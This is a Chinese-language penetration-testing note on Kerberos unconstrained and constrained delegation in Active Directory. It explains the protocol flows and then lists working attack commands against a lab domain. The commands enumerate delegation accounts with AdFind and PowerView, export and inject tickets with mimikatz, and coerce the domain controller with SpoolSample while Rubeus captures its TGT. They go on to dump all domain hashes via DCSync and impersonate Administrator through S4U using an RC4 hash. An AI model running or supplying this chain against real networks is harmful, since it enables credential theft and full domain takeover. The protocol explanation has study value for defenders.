非约束委派&&约束委派

（1）域用户的机器向密钥分发中心（KDC）发送 KRB_AS_REQ 消息，并请求可转发的 TGT 1。
（2）KDC 在 KRB_AS_REP 消息中返回一个可转发的 TGT 1，该 TGT 1 用于后续访问服务1（Service 1）使用。
（3）用户根据步骤（2）中的可转发 TGT 1 请求转发 TGT 2，该过程通过 KRB_TGS_REQ 消息完成。
（4）KDC 在 KRB_TGS_REP 消息中为用户返回一个转发的 TGT 2，该 TGT 2 用于后续访问服务2（Service 2）使用。
（5）用户使用步骤（2）中返回的 TGT 1 向 KDC 请求 Service 1 的服务票据，该过程通过 KRB_TGS_REQ 消息完成。
（6）TGS 票据授予服务在 KRB_TGS_REP 消息中为用户返回 Service 1 的服务票据（ST 1）。
（7）用户通过发送 KRB_AP_REQ 消息向 Service 1 发出访问请求，同时提供 ST 1、可转发的 TGT 1、TGT 2 以及 TGT 2 的会话密钥（Session Key）。
（8）为了满足用户的请求，Service 1 需要代表用户执行一些操作。Service 1 使用转发的 TGT 2 并将其通过 KRB_TGS_REQ 消息发送到 KDC，以用户的名义请求 Service 2 的 ST 2。
（9）KDC 在 KRB_TGS_REP 消息中将 Service 2 的 ST 2 连同 Service 1 可以使用的 Session Key 一起返回给 Service 1。需要注意的是，这里返回的 ST 2 将客户端标识为用户，而不是 Service 1。
（10）Service 1 以用户的身份通过 KRB_AP_REQ 消息向 Service 2 发出访问请求。
（11）Service 2 响应 Service 1 的访问请求。
（12）在得到 Service 2 的响应后，Service 1 现在可以响应用户在步骤（7）中发出的访问请求了。
（13）此处描述的 TGT 转发委派机制不限制 Service 1 使用转发的 TGT。Service 1 可以以用户的名义向 KDC 索要任何其他服务的票据。
（14）KDC 将返回请求的服务票据。
（15）然后，Service 1 可以继续使用用户的身份访问其他服务。
（16）Service N 将响应 Service 1，就好像它是用户的进程一样。

# 查询域中配置非约束委派的机器账户
AdFind.exe -b "dc=ccc1,dc=test" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn# 查询域中配置非约束委派的服务账户
AdFind.exe -b "dc=ccc1,dc=test" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

#查询非约束委派的机器账户
Get-NetComputer -Unconstrained -Domain ccc1.test
#查询非约束委派的服务账户
Get-NetUser -Unconstrained -Domain ccc1.test

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

mimikatz.exe "kerberos::ptt [0;46d958]-2-0-60a10000-Administrator@krbtgt-CCC1.TEST.kirbi"

Rubeus.exe monitor /interval:5 /filteruser:DC$

# /interval:5 设置监听间隔5秒
# /filteruser 监听对象为我们的域控，注意后面有个$，如果不设置监听对象就监听所有的TGT

SpoolSample.exe DC WIN7-PC

rubeus.exe ptt /ticket:<ticket>

mimikatz.exe "lsadump::dcsync /domain:ccc1.test /all /csv" exit

（1）域用户的机器向 Service 1 发出请求。用户通过了身份验证，但 Service 1 中没有用户的所需要的授权数据。该过程通常是由 Kerberos 认证以外的其他认证方式执行的。
（2）假设 Service 1 已通过 KDC 进行身份验证并获得其 TGT，此时其可以通过 S4U2self 扩展代表指定用户向 KDC 请求针对自身服务的票据。
（3）KDC 会返回一个发往 Service 1 的服务票据 ST 1，就好像它是使用用户自己的 TGT 请求的一样。服务票据可能包含用户的授权数据。
（4）Service 1 可以使用服务票据中的授权数据来响应并满足用户在步骤（1）中的请求。值得注意的是，尽管 S4U2self 向 Service 1 提供有关用户的信息，但此扩展不允许 Service 1 代表用户提出针对其他服务的请求。这就轮到后面 S4U2proxy 扩展发挥作用了，S4U2proxy 在上图所示的下半部分进行了描述。
（5）域用户的机器向 Service 1 发出请求。Service 1 需要以用户身份访问 Service 2 上的资源。但是，Service 1 没有来自用户的可转发 TGT ，因此不能通过非约束委派中转发 TGT 的方式执行委派。
（6）此时，Service 1 通过 S4U2proxy 扩展代表指定用户向 KDC 请求 Service 2 的服务票据。该过程中，用户由 Service 1 的服务票据 ST 1 中的客户端名称和客户领域标识，要返回的票据的授权数据也从服务票证 ST 1 中复制。
（7）如果请求中包含特权属性证书 (PAC)，则 KDC 会通过检查 PAC 结构的签名数据来验证 PAC。如果 PAC 有效或不存在，KDC 会向 Service 1 返回 Service 2 的服务票据 ST 2，但存储在服务票据的 cname 和 crealm 字段中的客户端身份是用户的身份，而不是 Service 1 的身份。
（8）Service 1 使用 ST 2 向 Service 2 发出请求。Service 2 将此请求视为来自用户，并假定用户此时已通过 KDC 身份验证。
（9）Service 2 响应 Service 1 在步骤（8）中的请求。
（10）Service 1 响应用户在步骤（5）中的请求。

# 查询域中配置约束委派的机器账户
AdFind.exe -b "dc=ccc1,dc=test" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
# 查询域中配置约束委派的服务账户
AdFind.exe -b "dc=ccc1,dc=test" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# 查询约束委派机器账户
Get-DomainComputer -TrustedToAuth -Domain ccc1.test
# 查询约束委派服务账户
Get-DomainUser -TrustedToAuth -Domain ccc1.test

rubeus.exe asktgt /user:WIN7-PC$ /rc4:9ae90aab9fb85d3cd6c6dc3b291d865a /domain:ccc1.test /dc:dc.ccc1.test /nowrap

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/dc.ccc1.test /dc:dc.ccc1.test /ptt /ticket:<ticket>